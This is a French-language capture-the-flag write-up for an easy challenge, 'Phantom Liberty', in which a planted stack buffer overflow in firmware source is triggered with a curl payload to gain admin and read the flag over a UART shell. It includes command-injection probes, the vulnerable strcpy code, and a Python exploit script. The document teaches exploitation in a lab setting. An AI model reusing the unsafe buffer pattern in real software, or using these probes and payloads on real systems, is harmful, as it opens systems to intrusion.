Phantom Liberty - InterIUT CTF 2026 🇫🇷
Writeups pour le challenge Phantom Liberty de difficulté Easy que j'ai créé pour l'InterIUT 2026
Auteur : Math-X
Contexte
On dispose d'une interface web supposément hébergée sur une puce volée au département R&D de MilSec. L'énoncé du challenge :
L'un de nos agents a volé cette puce au département R&D de MilSec. Nous ignorons ce qu'elle contient pour l'instant, nous avons seulement défacé l'interface web et dumpé les sources du serveur embarqué. En l'inspectant un peu plus, on pourrait peut être trouver quelque chose d'intéressant.
Deux services réseau sont exposés :
| Service | Port | Description |
|---|---|---|
| HTTP | 7777 |
Interface web |
| TCP | 5555 |
Shell série UART |
Le code source du firmware (server.cpp) est fourni en pièce jointe du challenge.
Étape 1 : Reconnaissance
1.1 Page d'accueil
En naviguant sur http://<target>:7777, on tombe sur une page d'accueil défacée par Null-Syndicate :
Hello NetRunner, welcome to Null-Syndicate!
One of our agents stole this chip from the MilSec R&D department.
[...] The original web interface is here: → Good Luck ←
Le lien mène vers relic.html.
1.2 Interface Relic
relic.html est une interface terminal. On tente quelques commandes évidentes :
$ help
Available commands: help, whoami, exit. But none will help you.
$ whoami
You are nobody. For now.
$ exit
You can't leave. The Relic has no exit.
Avec des caractères spéciaux :
$ ls; id
[HTTP 418] Even my bootloader laughs at you.
$ $(whoami)
[HTTP 500] NODAOZDOZONBFZAROUH3 What did you do?
Les commandes contenant ;, $, |, backticks, guillemets renvoient un code HTTP aléatoire (400, 403, 418, 500, 503).
Tentative directe d'accès admin :
$ admin
[HTTP 403] Access denied. You are not admin. (yet)
Le (yet) est un indice il existe un moyen de devenir admin.
1.3 Découverte du shell UART
Le challenge expose le port 5555. Connexion via nc :
nc <target> 5555
╔══════════════════════════════════╗
║ RELIC · UART SHELL v1.0 ║
║ Null-Syndicate // MilSec R&D ║
╚══════════════════════════════════╝
$ help
Available commands:
help - Show this help message
whoami - Display your identity
exit - Try to exit (hint: you can't)
status - Check the status of the device
admin - [LOCKED] requires elevated privileges
La commande admin est listée mais verrouillée :
$ admin
Permission denied. Nice try.
$ whoami
uid=1337(nobody) gid=1337(nobody) groups=1337(nobody)
$ status
Device : RELIC-MK1
Uptime : 69d 04h 20m 00s
Shell : user (restricted)
Hint : something in this shell is not what it seems...
admin est verrouillé sur l'UART, et bloqué en HTTP 403 sur l'interface web. L'indice du status (« something in this shell is not what it seems ») suggère de creuser plus loin.
Étape 2 : Analyse du code source
L'énoncé indique que les sources du firmware ont été dumpées. On ouvre server.cpp et on tombe rapidement sur la fonction handleRelicApi() :
void handleRelicApi() {
String cmdStr = server.arg("cmd");
char cmd_buf[64];
if ((int)cmdStr.length() <= (int)sizeof(cmd_buf)) {
strncpy(cmd_buf, cmdStr.c_str(), sizeof(cmd_buf));
cmd_buf[sizeof(cmd_buf) - 1] = '\0';
} else {
strcpy(cmd_buf, cmdStr.c_str());
if (strstr(cmd_buf + sizeof(cmd_buf), "admin")) {
shellState = SHELL_ADMIN;
server.send(200, "application/json",
"{\"msg\":\"Relic: I see you struggle. Keep trying, little hacker.\"}");
return;
}
server.send(200, "text/plain", "????\r\nCorrupted stack.\r\n");
return;
}
if (cmd.indexOf("admin") >= 0) {
server.send(403, ...);
return;
}
// ...
}
Deux observations critiques :
- Une branche utilise
strcpy()sur l'input utilisateur dans un buffer de pile fixe de 64 octets, pas de bounds checking. strstr()est appelé après la fin du buffer (cmd_buf + sizeof(cmd_buf)), c'est-à-dire dans la zone d'overflow.
Étape 3 : Compréhension de la vulnérabilité
L'idée :
- Input ≤ 64 octets → branche « sûre » → la vérification
adminrenvoie un 403. - Input > 64 octets → branche
strcpy()→ la vérification 403 est complètement contournée. À la place,strstr()scanne la zone juste après le buffer. Si la chaîne"admin"s'y trouve,shellStatebascule surSHELL_ADMIN.
Autrement dit : envoyer admin en input court hit le check 403, mais envoyer admin après 64 octets de padding prend la branche d'overflow, et strstr() retrouve "admin" dans la région débordée le state passe admin en mémoire firmware.
Étape 4 : Exploitation
Exactement 64 octets réponse normale, branche safe :
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64)')"
{"msg":"Relic: I see you struggle. Keep trying, little hacker."}
65 octets, sans gadget — overflow confirmé, pile corrompue :
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*65)')"
????
Corrupted stack.
Offset 64 = boundary exacte. Octet 65+ tombe dans la zone d'overflow.
Étape 5 — Construction de l'exploit
┌───────────────────────────────────────┬───────────┐
│ 64 octets de padding │ "admin" │
│ AAAAAAAAAAAAAAAA...AAAAAAAA (×64) │ │
└───────────────────────────────────────┴───────────┘
↑ ↑
remplit cmd_buf exactement zone d'overflow
strstr trouve "admin" ici
→ shellState = SHELL_ADMIN
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"
Réponse :
{"msg":"Relic: I see you struggle. Keep trying, little hacker."}
La réponse paraît parfaitement normale, l'exploit fonctionne silencieusement. shellState a basculé dans la mémoire du firmware, mais l'interface web ne montre rien. Il faut vérifier côté UART.
Étape 6 — Récupération du flag via UART
On se reconnecte à l'UART :
nc <target> 5555
Vérification de l'élévation de privilèges :
$ whoami
uid=0(root) gid=0(root) groups=0(root)
$ status
Device : RELIC-MK1
Uptime : 67d 04h 20m 00s
Shell : admin (UNRESTRICTED)
Memory : stack integrity COMPROMISED
Note : buffer overflow detected in cmd_buf — too late to patch.
Exécution de la commande admin précédemment verrouillée :
$ admin
You are already root. There is nowhere higher to go.
Flag: INTERIUT{w4k3_Th3_f*Ck_uP_S4mUr41}
Exploit complet
# 1. Déclencher le buffer overflow
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"
# 2. Récupérer le flag via UART
nc <target> 5555
# puis : flag
Version automatisée :
#!/usr/bin/env python3
import socket, requests, time
HOST = "<target>"
# Étape 1 — déclencher la BOF via HTTP
payload = "A" * 64 + "admin"
r = requests.get(f"http://{HOST}:7777/relic_api", params={"cmd": payload})
print(f"[*] HTTP {r.status_code}: {r.text.strip()}")
# Étape 2 récupérer le flag via UART
time.sleep(0.5)
s = socket.create_connection((HOST, 5555))
s.recv(512) # discard banner
s.sendall(b"flag\r\n")
time.sleep(0.2)
print("[+]", s.recv(256).decode().strip())
s.close()